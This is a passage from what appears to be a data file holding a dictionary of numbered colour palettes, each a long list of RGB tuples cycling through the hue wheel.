101), (200, 204, 101), (196, 204, 101), (192, 204, 101), (188, 204, 101), (184, 204, 101), (180, 204, 101), (176, 204, 101), (172, 204, 101), (168, 204, 101), (164, 204, 101), (160, 204, 101), (156, 204, 101), (153, 204, 101), (149, 204, 101), (145, 204, 101), (141, 204, 101), (137, 204, 101), (133, 204, 101), (129, 204, 101), (125, 204, 101), (121, 204, 101), (117, 204, 101), (113, 204, 101), (109, 204, 101), (105, 204, 101), (102, 204, 101), (101, 204, 105), (101, 204, 109), (101, 204, 113), (101, 204, 117), (101, 204, 121), (101, 204, 125), (101, 204, 129), (101, 204, 133), (101, 204, 137), (101, 204, 141), (101, 204, 145), (101, 204, 149), (101, 204, 152), (101, 204, 156), (101, 204, 160), (101, 204, 164), (101, 204, 168), (101, 204, 172), (101, 204, 176), (101, 204, 180), (101, 204, 184), (101, 204, 188), (101, 204, 192), (101, 204, 196), (101, 204, 200), (101, 204, 204), (101, 200, 204), (101, 196, 204), (101, 192, 204), (101, 188, 204), (101, 184, 204), (101, 180, 204), (101, 176, 204), (101, 172, 204), (101, 168, 204), (101, 164, 204), (101, 160, 204), (101, 156, 204), (101, 153, 204), (101, 149, 204), (101, 145, 204), (101, 141, 204), (101, 137, 204), (101, 133, 204), (101, 129, 204), (101, 125, 204), (101, 121, 204), (101, 117, 204), (101, 113, 204), (101, 109, 204), (101, 105, 204), (101, 102, 204), (105, 101, 204), (109, 101, 204), (113, 101, 204), (117, 101, 204), (121, 101, 204), (125, 101, 204), (129, 101, 204), (133, 101, 204), (137, 101, 204), (141, 101, 204), (145, 101, 204), (149, 101, 204), (152, 101, 204), (156, 101, 204), (160, 101, 204), (164, 101, 204), (168, 101, 204), (172, 101, 204), (176, 101, 204), (180, 101, 204), (184, 101, 204), (188, 101, 204), (192, 101, 204), (196, 101, 204), (200, 101, 204), (203, 101, 204), (204, 101, 200), (204, 101, 196), (204, 101, 192), (204, 101, 188), (204, 101, 184), (204, 101, 180), (204, 101, 176), (204, 101, 172), (204, 101, 168), (204, 101, 164), (204, 101, 160), (204, 101, 156), (204, 101, 153), (204, 101, 149), (204, 101, 145), (204, 101, 141), (204, 101, 137), (204, 101, 133), (204, 101, 129), (204, 101, 125), (204, 101, 121), (204, 101, 117), (204, 101, 113), (204, 101, 109), (204, 101, 105)], 157: [(204, 101, 101), (204, 105, 101), (204, 109, 101), (204, 113, 101), (204, 117, 101), (204, 121, 101), (204, 125, 101), (204, 129, 101), (204, 133, 101), (204, 137, 101), (204, 140, 101), (204, 144, 101), (204, 148, 101), (204, 152, 101), (204, 156, 101), (204, 160, 101), (204, 164, 101), (204, 168, 101), (204, 172, 101), (204, 176, 101), (204, 179, 101), (204, 183, 101), (204, 187, 101), (204, 191, 101), (204, 195, 101), (204, 199, 101), (204, 203, 101), (200, 204, 101), (196, 204, 101), (192, 204, 101), (189, 204, 101), (185, 204, 101), (181, 204, 101), (177, 204, 101), (173, 204, 101), (169, 204, 101), (165, 204, 101), (161, 204, 101), (157, 204, 101), (153, 204, 101), (150, 204, 101), (146, 204, 101), (142, 204, 101), (138, 204, 101), (134, 204, 101), (130, 204, 101), (126, 204, 101), (122, 204, 101), (118, 204, 101), (114, 204, 101), (111, 204, 101), (107, 204, 101), (103, 204, 101), (101, 204, 104), (101, 204, 108), (101, 204, 112), (101, 204, 116), (101, 204, 120), (101, 204, 124), (101, 204, 127), (101, 204, 131), (101, 204, 135), (101, 204, 139), (101, 204, 143), (101, 204, 147), (101, 204, 151), (101, 204, 155), (101, 204, 159), (101, 204, 163), (101, 204, 166), (101, 204, 170), (101, 204, 174), (101, 204, 178), (101, 204, 182), (101, 204, 186), (101, 204, 190), (101, 204, 194), (101, 204, 198), (101, 204, 202), (101, 202, 204), (101, 198, 204), (101, 194, 204), (101, 190, 204), (101, 186, 204), (101, 182, 204), (101, 178, 204), (101, 174, 204), (101, 170, 204), (101, 166, 204), (101, 163, 204), (101, 159, 204), (101, 155, 204), (101, 151, 204), (101, 147, 204), (101, 143, 204), (101, 139, 204), (101, 135, 204), (101, 131, 204), (101, 127, 204), (101, 124, 204), (101, 120, 204), (101, 116, 204), (101, 112, 204), (101, 108, 204), (101, 104, 204), (103, 101, 204), (107, 101, 204), (111, 101, 204), (114, 101, 204), (118, 101, 204), (122, 101, 204), (126, 101, 204), (130, 101, 204), (134, 101, 204), (138, 101, 204), (142, 101, 204), (146, 101, 204), (150, 101, 204), (153, 101, 204), (157, 101, 204), (161, 101, 204), (165, 101, 204), (169, 101, 204), (173, 101, 204), (177, 101, 204), (181, 101, 204), (185, 101, 204), (189, 101, 204), (192, 101, 204), (196, 101, 204), (200, 101, 204), (204, 101, 203), (204, 101, 199), (204, 101, 195), (204, 101, 191), (204, 101, 187), (204, 101, 183), (204, 101, 179), (204, 101, 176), (204, 101, 172), (204, 101, 168), (204, 101, 164), (204, 101, 160), (204, 101, 156), (204, 101, 152), (204, 101, 148), (204, 101, 144), (204, 101, 140), (204, 101, 137), (204, 101, 133), (204, 101, 129), (204, 101, 125), (204, 101, 121), (204, 101, 117), (204, 101, 113), (204, 101, 109), (204, 101, 105)], 158: [(204, 101, 101), (204, 105, 101), (204, 109, 101), (204, 113, 101), (204, 117, 101), (204, 121, 101), (204, 125, 101), (204, 129, 101), (204, 132, 101), (204, 136, 101), (204, 140, 101), (204, 144, 101), (204, 148, 101), (204, 152, 101), (204, 156, 101), (204, 160, 101), (204, 163, 101), (204, 167, 101), (204, 171, 101), (204, 175, 101), (204, 179, 101), (204, 183, 101), (204, 187, 101), (204, 191, 101), (204, 194, 101), (204, 198, 101), (204, 202, 101), (201, 204, 101), (197, 204, 101), (193, 204, 101), (189, 204, 101), (185, 204, 101), (182, 204, 101), (178, 204, 101), (174, 204, 101), (170, 204, 101), (166, 204, 101), (162, 204, 101), (158, 204, 101), (154, 204, 101), (151, 204, 101), (147, 204, 101), (143, 204, 101), (139, 204, 101), (135, 204, 101), (131, 204, 101), (127, 204, 101), (123, 204, 101), (120, 204, 101), (116, 204, 101), (112, 204, 101), (108, 204, 101), (104, 204, 101), (101, 204, 103), (101, 204, 107), (101, 204, 111), (101, 204, 114), (101, 204, 118), (101, 204, 122), (101, 204, 126), (101, 204, 130), (101, 204, 134), (101, 204, 138), (101, 204, 142), (101, 204, 145), (101, 204, 149), (101, 204, 153), (101, 204, 157), (101, 204, 161), (101, 204, 165), (101, 204, 169), (101, 204, 173), (101, 204, 176), (101, 204, 180), (101, 204, 184), (101, 204, 188), (101, 204, 192), (101, 204, 196), (101, 204, 200), (101, 204, 204), (101, 200, 204), (101, 196, 204), (101, 192, 204), (101, 188, 204), (101, 184, 204), (101, 180, 204), (101, 176, 204), (101, 173, 204), (101, 169, 204), (101, 165, 204), (101, 161, 204), (101, 157, 204), (101, 153, 204), (101, 149, 204), (101, 145, 204), (101, 142, 204), (101, 138, 204), (101, 134, 204), (101, 130, 204), (101, 126, 204), (101, 122, 204), (101, 118, 204), (101, 114, 204), (101, 111, 204), (101, 107, 204), (101, 103, 204), (104, 101, 204), (108, 101, 204), (112, 101, 204), (116, 101, 204), (120, 101, 204), (123, 101, 204), (127, 101, 204), (131, 101, 204), (135, 101, 204), (139, 101, 204), (143, 101, 204), (147, 101, 204), (151, 101, 204), (154, 101, 204), (158, 101, 204), (162, 101, 204), (166, 101, 204), (170, 101, 204), (174, 101, 204), (178, 101, 204), (182, 101, 204), (185, 101, 204), (189, 101, 204), (193, 101, 204), (197, 101, 204), (201, 101, 204), (204, 101, 202), (204, 101, 198), (204, 101, 194), (204, 101, 191), (204, 101, 187), (204, 101, 183), (204, 101, 179), (204, 101, 175), (204, 101, 171), (204, 101, 167), (204, 101, 163), (204, 101, 160), (204, 101, 156), (204, 101, 152), (204, 101, 148), (204, 101, 144), (204, 101, 140), (204, 101, 136), (204, 101, 132), (204, 101, 129), (204, 101, 125), (204, 101, 121), (204, 101, 117), (204, 101, 113), (204, 101, 109), (204, 101, 105)], 159: [(204, 101, 101), (204, 105, 101), (204, 109, 101), (204, 113, 101), (204, 117, 101), (204, 121, 101), (204, 125, 101), (204, 128, 101), (204, 132, 101), (204, 136, 101), (204, 140, 101), (204, 144, 101), (204, 148, 101), (204, 152, 101), (204, 155, 101), (204, 159, 101), (204, 163, 101), (204, 167, 101), (204, 171, 101), (204, 175, 101), (204, 178, 101), (204, 182, 101), (204, 186, 101), (204, 190, 101), (204, 194, 101), (204, 198, 101), (204, 202, 101), (202, 204, 101), (198, 204, 101), (194, 204, 101), (190, 204, 101), (186, 204, 101), (182, 204, 101), (178, 204, 101), (175, 204, 101), (171, 204, 101), (167, 204, 101), (163, 204, 101), (159, 204, 101), (155, 204, 101), (152, 204, 101), (148, 204, 101), (144, 204, 101), (140, 204, 101), (136, 204, 101), (132, 204, 101), (128, 204, 101), (125, 204, 101), (121, 204, 101), (117, 204, 101), (113, 204, 101), (109, 204, 101), (105, 204, 101), (101, 204, 102), (101, 204, 105), (101, 204, 109), (101, 204, 113), (101, 204, 117), (101, 204, 121), (101, 204, 125), (101, 204, 128), (101, 204, 132), (101, 204, 136), (101, 204, 140), (101, 204, 144), (101, 204, 148), (101, 204, 152), (101, 204, 155), (101, 204, 159), (101, 204, 163), (101, 204, 167), (101, 204, 171), (101, 204, 175), (101, 204, 178), (101, 204, 182), (101, 204, 186), (101, 204, 190), (101, 204, 194), (101, 204, 198), (101, 204, 202), (101, 202, 204), (101, 198, 204), (101, 194, 204), (101, 190, 204), (101, 186, 204), (101, 182, 204), (101, 178, 204), (101, 175, 204), (101, 171, 204), (101, 167, 204), (101, 163, 204), (101, 159, 204), (101, 155, 204), (101, 152, 204), (101, 148, 204), (101, 144, 204), (101, 140, 204), (101, 136, 204), (101, 132, 204), (101, 128, 204), (101, 125, 204), (101, 121, 204), (101, 117, 204), (101, 113, 204), (101, 109, 204), (101, 105, 204), (101, 101, 204), (105, 101, 204), (109, 101, 204), (113, 101, 204), (117, 101, 204), (121, 101, 204), (125, 101, 204), (128, 101, 204), (132, 101, 204), (136, 101, 204), (140, 101, 204), (144, 101, 204), (148, 101, 204), (152, 101, 204), (155, 101, 204), (159, 101, 204), (163, 101, 204), (167, 101, 204), (171, 101, 204), (175, 101, 204), (178, 101, 204), (182, 101, 204), (186, 101, 204), (190, 101, 204), (194, 101, 204), (198, 101, 204), (202, 101, 204), (204, 101, 202), (204, 101, 198), (204, 101, 194), (204, 101, 190), (204, 101, 186), (204, 101, 182), (204, 101, 178), (204, 101, 175), (204, 101, 171), (204, 101, 167), (204, 101, 163), (204, 101, 159), (204, 101, 155), (204, 101, 152), (204, 101, 148), (204, 101, 144), (204, 101, 140), (204, 101, 136), (204, 101, 132), (204, 101, 128), (204, 101, 125), (204, 101, 121), (204, 101, 117), (204, 101, 113), (204, 101, 109), (204, 101, 105)], 160: [(204, 101, 101), (204, 105, 101), (204, 109, 101), (204, 113, 101), (204, 117, 101), (204, 121, 101), (204, 124, 101), (204, 128, 101), (204, 132, 101), (204, 136, 101), (204, 140, 101), (204, 144, 101), (204, 147, 101), (204, 151, 101), (204, 155, 101), (204, 159, 101), (204, 163, 101), (204, 167, 101), (204, 170, 101), (204, 174, 101), (204, 178, 101), (204, 182, 101), (204, 186, 101), (204, 189, 101), (204, 193, 101), (204, 197, 101), (204, 201, 101), (202, 204, 101), (198, 204, 101), (195, 204, 101), (191, 204, 101), (187, 204, 101), (183, 204, 101), (179, 204, 101), (175, 204, 101), (172, 204, 101), (168, 204, 101), (164, 204, 101), (160, 204, 101), (156, 204, 101), (153, 204, 101), (149, 204, 101), (145, 204, 101), (141, 204, 101), (137, 204, 101), (133, 204, 101), (130, 204, 101), (126, 204, 101), (122, 204, 101), (118, 204, 101), (114, 204, 101), (110, 204, 101), (107, 204, 101), (103, 204, 101), (101, 204, 104), (101, 204, 108), (101, 204, 112), (101, 204, 116), (101, 204, 119), (101, 204, 123), (101, 204, 127), (101, 204, 131), (101, 204, 135), (101, 204, 138), (101, 204, 142), (101, 204, 146), (101, 204, 150), (101, 204, 154), (101, 204, 158), (101, 204, 161), (101, 204, 165), (101, 204, 169), (101, 204, 173), (101, 204, 177), (101, 204, 181), (101, 204, 184), (101, 204, 188), (101, 204, 192), (101, 204, 196), (101, 204, 200), (101, 204, 204), (101, 200, 204), (101, 196, 204), (101, 192, 204), (101, 188, 204), (101, 184, 204), (101, 181, 204), (101, 177, 204), (101, 173, 204), (101, 169, 204), (101, 165, 204), (101, 161, 204), (101, 158, 204), (101, 154, 204), (101, 150, 204), (101, 146, 204), (101, 142, 204), (101, 138, 204), (101, 135, 204), (101, 131, 204), (101, 127, 204), (101, 123, 204), (101, 119, 204), (101, 116, 204), (101, 112, 204), (101, 108, 204), (101, 104, 204), (103, 101, 204), (107, 101, 204), (110, 101, 204), (114, 101, 204), (118, 101, 204), (122, 101, 204), (126, 101, 204), (130, 101, 204), (133, 101, 204), (137, 101, 204), (141, 101, 204), (145, 101, 204), (149, 101, 204), (152, 101, 204), (156, 101, 204), (160, 101, 204), (164, 101, 204), (168, 101, 204), (172, 101, 204), (175, 101, 204), (179, 101, 204), (183, 101, 204), (187, 101, 204), (191, 101, 204), (195, 101, 204), (198, 101, 204), (202, 101, 204), (204, 101, 201), (204, 101, 197), (204, 101, 193), (204, 101, 189), (204, 101, 186), (204, 101, 182), (204, 101, 178), (204, 101, 174), (204, 101, 170), (204, 101, 167), (204, 101, 163), (204, 101, 159), (204, 101, 155), (204, 101, 151), (204, 101, 147), (204, 101, 144), (204, 101, 140), (204, 101, 136), (204, 101, 132), (204, 101, 128), (204, 101, 124), (204, 101, 121), (204, 101, 117), (204, 101, 113), (204, 101, 109), (204, 101, 105)], 161: [(204, 101, 101), (204, 105, 101), (204, 109, 101), (204, 113, 101), (204, 117, 101), (204, 121, 101), (204, 124, 101), (204, 128, 101), (204, 132, 101), (204, 136, 101), (204, 140, 101), (204, 143, 101), (204, 147, 101), (204, 151, 101), (204, 155, 101), (204, 159, 101), (204, 162, 101), (204, 166, 101), (204, 170, 101), (204, 174, 101), (204, 178, 101), (204, 181, 101), (204, 185, 101), (204, 189, 101), (204, 193, 101), (204, 197, 101), (204, 200, 101), (203, 204, 101), (199, 204, 101), (195, 204, 101), (191, 204, 101), (188, 204, 101), (184, 204, 101), (180, 204, 101), (176, 204, 101), (172, 204, 101), (169, 204, 101), (165, 204, 101), (161, 204, 101), (157, 204, 101), (153, 204, 101), (150, 204, 101), (146, 204, 101), (142, 204, 101), (138, 204, 101), (134, 204, 101), (131, 204, 101), (127, 204, 101), (123, 204, 101), (119, 204, 101), (115, 204, 101), (112, 204, 101), (108, 204, 101), (104, 204, 101), (101, 204, 103), (101, 204, 107), (101, 204, 110), (101, 204, 114), (101, 204, 118), (101, 204, 122), (101, 204, 126), (101, 204, 129), (101, 204, 133), (101, 204, 137), (101, 204, 141), (101, 204, 145), (101, 204, 148), (101, 204, 152), (101, 204, 156), (101, 204, 160), (101, 204, 164), (101, 204, 167), (101, 204, 171), (101, 204, 175), (101, 204, 179), (101, 204, 183), (101, 204, 186), (101, 204, 190), (101, 204, 194), (101, 204, 198), (101, 204, 202), (101, 202, 204), (101, 198, 204), (101, 194, 204), (101, 190, 204), (101, 186, 204), (101, 183, 204), (101, 179, 204), (101, 175, 204), (101, 171, 204), (101, 167, 204), (101, 164, 204), (101, 160, 204), (101, 156, 204), (101, 152, 204), (101, 148, 204), (101, 145, 204), (101, 141, 204), (101, 137, 204), (101, 133, 204), (101, 129, 204), (101, 126, 204), (101, 122, 204), (101, 118, 204), (101, 114, 204), (101, 110, 204), (101, 107, 204), (101, 103, 204), (104, 101, 204), (108, 101, 204), (112, 101, 204), (115, 101, 204), (119, 101, 204), (123, 101, 204), (127, 101, 204), (131, 101, 204), (134, 101, 204), (138, 101, 204), (142, 101, 204), (146, 101, 204), (150, 101, 204), (153, 101, 204), (157, 101, 204), (161, 101, 204), (165, 101, 204), (169, 101, 204), (172, 101, 204), (176, 101, 204), (180, 101, 204), (184, 101, 204), (188, 101, 204), (191, 101, 204), (195, 101, 204), (199, 101, 204), (203, 101, 204), (204, 101, 200), (204, 101, 197), (204, 101, 193), (204, 101, 189), (204, 101, 185), (204, 101, 181), (204, 101, 178), (204, 101, 174), (204, 101, 170), (204, 101, 166), (204, 101, 162), (204, 101, 159), (204, 101, 155), (204, 101, 151), (204, 101, 147), (204, 101, 143), (204, 101, 140), (204, 101, 136), (204, 101, 132), (204, 101, 128), (204, 101, 124), (204, 101, 121), (204, 101, 117), (204, 101, 113), (204, 101, 109), (204, 101, 105)], 162: [(204, 101, 101), (204, 105, 101), (204, 109, 101), (204, 113, 101), (204, 117, 101), (204, 120, 101), (204, 124, 101), (204, 128, 101), (204, 132, 101), (204, 136, 101), (204, 139, 101), (204, 143, 101), (204, 147, 101), (204, 151, 101), (204, 154, 101), (204, 158, 101), (204, 162, 101), (204, 166, 101), (204, 170, 101), (204, 173, 101), (204, 177, 101), (204, 181, 101), (204, 185, 101), (204, 188, 101), (204, 192, 101), (204, 196, 101), (204, 200, 101), (204, 204, 101), (200, 204, 101), (196, 204, 101), (192, 204, 101), (188, 204, 101), (185, 204, 101), (181, 204, 101), (177, 204, 101), (173, 204, 101), (169, 204, 101), (166, 204, 101), (162, 204, 101), (158, 204, 101), (154, 204, 101), (151, 204, 101), (147, 204, 101), (143, 204, 101), (139, 204, 101), (136, 204, 101), (132, 204, 101), (128, 204, 101), (124, 204, 101), (120, 204, 101), (117, 204, 101), (113, 204, 101), (109, 204, 101), (105, 204, 101), (102, 204, 101), (101, 204, 105), (101, 204, 109), (101, 204, 113), (101, 204, 117), (101, 204, 120), (101, 204, 124), (101, 204, 128), (101, 204, 132), (101, 204, 135), (101, 204, 139), (101, 204, 143), (101, 204, 147), (101, 204, 151), (101, 204, 154), (101, 204, 158), (101, 204, 162), (101, 204, 166), (101, 204, 170), (101, 204, 173), (101, 204, 177), (101, 204, 181), (101, 204, 185), (101, 204, 188), (101, 204, 192), (101, 204, 196), (101, 204, 200), (101, 204, 204), (101, 200, 204), (101, 196, 204), (101, 192, 204), (101, 188, 204), (101, 185, 204), (101, 181, 204), (101, 177, 204), (101, 173, 204), (101, 169, 204), (101, 166, 204), (101, 162, 204), (101, 158, 204), (101, 154, 204), (101, 151, 204), (101, 147, 204), (101, 143, 204), (101, 139, 204), (101, 135, 204), (101, 132, 204), (101, 128, 204), (101, 124, 204), (101, 120, 204), (101, 117, 204), (101, 113, 204), (101, 109, 204), (101, 105, 204), (101, 102, 204), (105, 101, 204), (109, 101, 204), (113, 101, 204), (117, 101, 204), (120, 101, 204), (124, 101, 204), (128, 101, 204), (132, 101, 204), (136, 101, 204), (139, 101, 204), (143, 101, 204), (147, 101, 204), (151, 101, 204), (154, 101, 204), (158, 101, 204), (162, 101, 204), (166, 101, 204), (169, 101, 204), (173, 101, 204), (177, 101, 204), (181, 101, 204), (185, 101, 204), (188, 101, 204), (192, 101, 204), (196, 101, 204), (200, 101, 204), (203, 101, 204), (204, 101, 200), (204, 101, 196), (204, 101, 192), (204, 101, 188), (204, 101, 185), (204, 101, 181), (204, 101, 177), (204, 101, 173), (204, 101, 169), (204, 101, 166), (204, 101, 162), (204, 101, 158), (204, 101, 154), (204, 101, 151), (204, 101, 147), (204, 101, 143), (204, 101, 139), (204, 101, 135), (204, 101, 132), (204, 101, 128), (204, 101, 124), (204, 101, 120), (204, 101, 117), (204, 101, 113), (204, 101, 109), (204, 101, 105)], 163: [(204, 101, 101), (204, 105, 101), (204, 109, 101), (204, 113, 101), (204, 117, 101), (204, 120, 101), (204, 124, 101), (204, 128, 101), (204, 132, 101), (204, 135, 101), (204, 139, 101), (204, 143, 101), (204, 147, 101), (204, 150, 101), (204, 154, 101), (204, 158, 101), (204, 162, 101), (204, 165, 101), (204, 169, 101), (204, 173, 101), (204, 177, 101), (204, 180, 101), (204, 184, 101), (204, 188, 101), (204, 192, 101), (204, 195, 101), (204, 199, 101), (204, 203, 101), (200, 204, 101), (197, 204, 101), (193, 204, 101), (189, 204, 101), (185, 204, 101), (182, 204, 101), (178, 204, 101), (174, 204, 101), (170, 204, 101), (167, 204, 101), (163, 204, 101), (159, 204, 101), (155, 204, 101), (152, 204, 101), (148, 204, 101), (144, 204, 101), (140, 204, 101), (137, 204, 101), (133, 204, 101), (129, 204, 101), (125, 204, 101), (122, 204, 101), (118, 204, 101), (114, 204, 101), (110, 204, 101), (107, 204, 101), (103, 204, 101), (101, 204, 104), (101, 204, 108), (101, 204, 112), (101, 204, 115), (101, 204, 119), (101, 204, 123), (101, 204, 127), (101, 204, 130), (101, 204, 134), (101, 204, 138), (101, 204, 142), (101, 204, 145), (101, 204, 149), (101, 204, 153), (101, 204, 157), (101, 204, 160), (101, 204, 164), (101, 204, 168), (101, 204, 172), (101, 204, 175), (101, 204, 179), (101, 204, 183), (101, 204, 187), (101, 204, 190), (101, 204, 194), (101, 204, 198), (101, 204, 202), (101, 202, 204), (101, 198, 204), (101, 194, 204), (101, 190, 204), (101, 187, 204), (101, 183, 204), (101, 179, 204), (101, 175, 204), (101, 172, 204), (101, 168, 204), (101, 164, 204), (101, 160, 204), (101, 157, 204), (101, 153, 204), (101, 149, 204), (101, 145, 204), (101, 142, 204), (101, 138, 204), (101, 134, 204), (101, 130, 204), (101, 127, 204), (101, 123, 204), (101, 119, 204), (101, 115, 204), (101, 112, 204), (101, 108, 204), (101, 104, 204), (103, 101, 204), (107, 101, 204), (110, 101, 204), (114, 101, 204), (118, 101, 204), (122, 101, 204), (125, 101, 204), (129, 101, 204), (133, 101, 204), (137, 101, 204), (140, 101, 204), (144, 101, 204), (148, 101, 204), (152, 101, 204), (155, 101, 204), (159, 101, 204), (163, 101, 204), (167, 101, 204), (170, 101, 204), (174, 101, 204), (178, 101, 204), (182, 101, 204), (185, 101, 204), (189, 101, 204), (193, 101, 204), (197, 101, 204), (200, 101, 204), (204, 101, 203), (204, 101, 199), (204, 101, 195), (204, 101, 192), (204, 101, 188), (204, 101, 184), (204, 101, 180), (204, 101, 177), (204, 101, 173), (204, 101, 169), (204, 101, 165), (204, 101, 162), (204, 101, 158), (204, 101, 154), (204, 101, 150), (204, 101, 147), (204, 101, 143), (204, 101, 139), (204, 101, 135), (204, 101, 132), (204, 101, 128), (204, 101, 124), (204, 101, 120), (204, 101, 117), (204, 101, 113), (204, 101, 109), (204, 101, 105)], 164: [(204, 101, 101), (204, 105, 101), (204, 109, 101), (204, 113, 101), (204, 116, 101), (204, 120, 101), (204, 124, 101), (204, 128, 101), (204, 131, 101), (204, 135, 101), (204, 139, 101), (204, 143, 101), (204, 146, 101), (204, 150, 101), (204, 154, 101), (204, 157, 101), (204, 161, 101), (204, 165, 101), (204, 169, 101), (204, 172, 101), (204, 176, 101), (204, 180, 101), (204, 184, 101), (204, 187, 101), (204, 191, 101), (204, 195, 101), (204, 199, 101), (204, 202, 101), (201, 204, 101), (197, 204, 101), (194, 204, 101), (190, 204, 101), (186, 204, 101), (182, 204, 101), (179, 204, 101), (175, 204, 101), (171, 204, 101), (167, 204, 101), (164, 204, 101), (160, 204, 101), (156, 204, 101), (153, 204, 101), (149, 204, 101), (145, 204, 101), (141, 204, 101), (138, 204, 101), (134, 204, 101), (130, 204, 101), (126, 204, 101), (123, 204, 101), (119, 204, 101), (115, 204, 101), (111, 204, 101), (108, 204, 101), (104, 204, 101), (101, 204, 103), (101, 204, 106), (101, 204, 110), (101, 204, 114), (101, 204, 118), (101, 204, 121), (101, 204, 125), (101, 204, 129), (101, 204, 133), (101, 204, 136), (101, 204, 140), (101, 204, 144), (101, 204, 148), (101, 204, 151), (101, 204, 155), (101, 204, 159), (101, 204, 162), (101, 204, 166), (101, 204, 170), (101, 204, 174), (101, 204, 177), (101, 204, 181), (101, 204, 185), (101, 204, 189), (101, 204, 192), (101, 204, 196), (101, 204, 200), (101, 204, 204), (101, 200, 204), (101, 196, 204), (101, 192, 204), (101, 189, 204), (101, 185, 204), (101, 181, 204), (101, 177, 204), (101, 174, 204), (101, 170, 204), (101, 166, 204), (101, 162, 204), (101, 159, 204), (101, 155, 204), (101, 151, 204), (101, 148, 204), (101, 144, 204), (101, 140, 204), (101, 136, 204), (101, 133, 204), (101, 129, 204), (101, 125, 204), (101, 121, 204), (101, 118, 204), (101, 114, 204), (101, 110, 204), (101, 106, 204), (101, 103, 204), (104, 101, 204), (108, 101, 204), (111, 101, 204), (115, 101, 204), (119, 101, 204), (123, 101, 204), (126, 101, 204), (130, 101, 204), (134, 101, 204), (138, 101, 204), (141, 101, 204), (145, 101, 204), (149, 101, 204), (152, 101, 204), (156, 101, 204), (160, 101, 204), (164, 101, 204), (167, 101, 204), (171, 101, 204), (175, 101, 204), (179, 101, 204), (182, 101, 204), (186, 101, 204), (190, 101, 204), (194, 101, 204), (197, 101, 204), (201, 101, 204), (204, 101, 202), (204, 101, 199), (204, 101, 195), (204, 101, 191), (204, 101, 187), (204, 101, 184), (204, 101, 180), (204, 101, 176), (204, 101, 172), (204, 101, 169), (204, 101, 165), (204, 101, 161), (204, 101, 157), (204, 101, 154), (204, 101, 150), (204, 101, 146), (204, 101, 143), (204, 101, 139), (204, 101, 135), (204, 101, 131), (204, 101, 128), (204, 101, 124), (204, 101, 120), (204, 101, 116), (204, 101, 113), (204, 101, 109), (204, 101, 105)], 165: [(204, 101, 101), (204, 105, 101), (204, 109, 101), (204, 113, 101), (204, 116, 101), (204, 120, 101), (204, 124, 101), (204, 127, 101), (204, 131, 101), (204, 135, 101), (204, 139, 101), (204, 142, 101), (204, 146, 101), (204, 150, 101), (204, 153, 101), (204, 157, 101), (204, 161, 101), (204, 165, 101), (204, 168, 101), (204, 172, 101), (204, 176, 101), (204, 179, 101), (204, 183, 101), (204, 187, 101), (204, 191, 101), (204, 194, 101), (204, 198, 101), (204, 202, 101), (202, 204, 101), (198, 204, 101), (194, 204, 101), (191, 204, 101), (187, 204, 101), (183, 204, 101), (179, 204, 101), (176, 204, 101), (172, 204, 101), (168, 204, 101), (165, 204, 101), (161, 204, 101), (157, 204, 101), (153, 204, 101), (150, 204, 101), (146, 204, 101), (142, 204, 101), (139, 204, 101), (135, 204, 101), (131, 204, 101), (127, 204, 101), (124, 204, 101), (120, 204, 101), (116, 204, 101), (113, 204, 101), (109, 204, 101), (105, 204, 101), (102, 204, 101), (101, 204, 105), (101, 204, 109), (101, 204, 113), (101, 204, 116), (101, 204, 120), (101, 204, 124), (101, 204, 127), (101, 204, 131), (101, 204, 135), (101, 204, 139), (101, 204, 142), (101, 204, 146), (101, 204, 150), (101, 204, 153), (101, 204, 157), (101, 204, 161), (101, 204, 165), (101, 204, 168), (101, 204, 172), (101, 204, 176), (101, 204, 179), (101, 204, 183), (101, 204, 187), (101, 204, 191), (101, 204, 194), (101, 204, 198), (101, 204, 202), (101, 202, 204), (101, 198, 204), (101, 194, 204), (101, 191, 204), (101, 187, 204), (101, 183, 204), (101, 179, 204), (101, 176, 204), (101, 172, 204), (101, 168, 204), (101, 165, 204), (101, 161, 204), (101, 157, 204), (101, 153, 204), (101, 150, 204), (101, 146, 204), (101, 142, 204), (101, 139, 204), (101, 135, 204), (101, 131, 204), (101, 127, 204), (101, 124, 204), (101, 120, 204), (101, 116, 204), (101, 113, 204), (101, 109, 204), (101, 105, 204), (101, 102, 204), (105, 101, 204), (109, 101, 204), (113, 101, 204), (116, 101, 204), (120, 101, 204), (124, 101, 204), (127, 101, 204), (131, 101, 204), (135, 101, 204), (139, 101, 204), (142, 101, 204), (146, 101, 204), (150, 101, 204), (153, 101, 204), (157, 101, 204), (161, 101, 204), (165, 101, 204), (168, 101, 204), (172, 101, 204), (176, 101, 204), (179, 101, 204), (183, 101, 204), (187, 101, 204), (191, 101, 204), (194, 101, 204), (198, 101, 204), (202, 101, 204), (204, 101, 202), (204, 101, 198), (204, 101, 194), (204, 101, 191), (204, 101, 187), (204, 101, 183), (204, 101, 179), (204, 101, 176), (204, 101, 172), (204, 101, 168), (204, 101, 165), (204, 101, 161), (204, 101, 157), (204, 101, 153), (204, 101, 150), (204, 101, 146), (204, 101, 142), (204, 101, 139), (204, 101, 135), (204, 101, 131), (204, 101, 127), (204, 101, 124), (204, 101, 120), (204, 101, 116), (204, 101, 113), (204, 101, 109), (204, 101, 105)], 166: [(204, 101, 101), (204, 105, 101), (204, 109, 101), (204, 113, 101), (204, 116, 101), (204, 120, 101), (204, 124, 101), (204, 127, 101), (204, 131, 101), (204, 135, 101), (204, 138, 101), (204, 142, 101), (204, 146, 101), (204, 149, 101), (204, 153, 101), (204, 157, 101), (204, 160, 101), (204, 164, 101), (204, 168, 101), (204, 172, 101), (204, 175, 101), (204, 179, 101), (204, 183, 101), (204, 186, 101), (204, 190, 101), (204, 194, 101), (204, 197, 101), (204, 201, 101), (202, 204, 101), (199, 204, 101), (195, 204, 101), (191, 204, 101), (188, 204, 101), (184, 204, 101), (180, 204, 101), (176, 204, 101), (173, 204, 101), (169, 204, 101), (165, 204, 101), (162, 204, 101), (158, 204, 101), (154, 204, 101), (151, 204, 101), (147, 204, 101), (143, 204, 101), (140, 204, 101), (136, 204, 101), (132, 204, 101), (129, 204, 101), (125, 204, 101), (121, 204, 101), (117, 204, 101), (114, 204, 101), (110, 204, 101), (106, 204, 101), (103, 204, 101), (101, 204, 104), (101, 204, 108), (101, 204, 111), (101, 204, 115), (101, 204, 119), (101, 204, 122), (101, 204, 126), (101, 204, 130), (101, 204, 133), (101, 204, 137), (101, 204, 141), (101, 204, 145), (101, 204, 148), (101, 204, 152), (101, 204, 156), (101, 204, 159), (101, 204, 163), (101, 204, 167), (101, 204, 170), (101, 204, 174), (101, 204, 178), (101, 204, 181), (101, 204, 185), (101, 204, 189), (101, 204, 192), (101, 204, 196), (101, 204, 